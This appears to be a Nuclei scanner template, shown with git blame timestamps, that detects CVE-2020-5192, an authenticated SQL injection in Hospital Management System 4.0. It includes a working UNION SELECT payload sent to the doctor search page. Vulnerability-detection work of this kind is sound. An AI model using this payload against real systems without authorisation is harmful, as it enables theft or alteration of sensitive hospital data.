nuclei-templates/http/cves/2020/CVE-2020-5192.yaml

64 lines
2.4 KiB
YAML
Raw Normal View History

id: CVE-2020-5192
2022-08-27 14:19:36 +00:00
info:
2022-08-27 14:19:36 +00:00
name: Hospital Management System 4.0 - SQL Injection
author: TenBird
severity: high
2022-08-27 14:19:36 +00:00
description: |
Hospital Management System 4.0 contains multiple SQL injection vulnerabilities because multiple pages and parameters do not validate user input. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
2023-09-06 12:22:36 +00:00
remediation: |
Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in Hospital Management System 4.0.
reference:
2022-08-27 14:19:36 +00:00
- https://www.exploit-db.com/exploits/47840
- https://phpgurukul.com/hospital-management-system-in-php/
- https://nvd.nist.gov/vuln/detail/CVE-2020-5192
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2020-5192
cwe-id: CWE-89
epss-score: 0.38401
epss-percentile: 0.96871
cpe: cpe:2.3:a:phpgurukul:hospital_management_system:4.0:*:*:*:*:*:*:*
2022-08-27 14:19:36 +00:00
metadata:
2023-06-04 08:13:42 +00:00
verified: true
2023-09-06 12:22:36 +00:00
max-request: 2
2023-07-11 19:49:27 +00:00
vendor: phpgurukul
product: hospital_management_system
2024-01-14 09:21:50 +00:00
tags: cve,cve2020,hms,cms,sqli,authenticated,edb,phpgurukul
2022-08-27 14:19:36 +00:00
variables:
num: "999999999"
http:
- raw:
- |
POST /hospital/hms/doctor/index.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
2022-08-27 14:19:36 +00:00
username={{username}}password={{password}}&submit=&submit=
- |
POST /hospital/hms/doctor/search.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
2022-08-27 14:19:36 +00:00
searchdata='+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(CONCAT(md5({{num}}),1),2),NULL--+PqeG&search=
host-redirects: true
2022-08-27 14:19:36 +00:00
max-redirects: 2
2023-07-11 19:49:27 +00:00
matchers-condition: and
matchers:
- type: word
part: body
words:
2022-08-30 05:41:12 +00:00
- '{{md5(num)}}'
2022-08-27 14:19:36 +00:00
- type: status
status:
- 200
# digest: 490a00463044022014d4dd48aa44e20b77d02a47b612f4e6c5c5f8ac73ac951840232b71f21de89902204699227497c22ff7322b51d78ae2960fbca5051250ad13a15cf985f40ac5c4c4:922c64590222798bb761d5b6d8e72950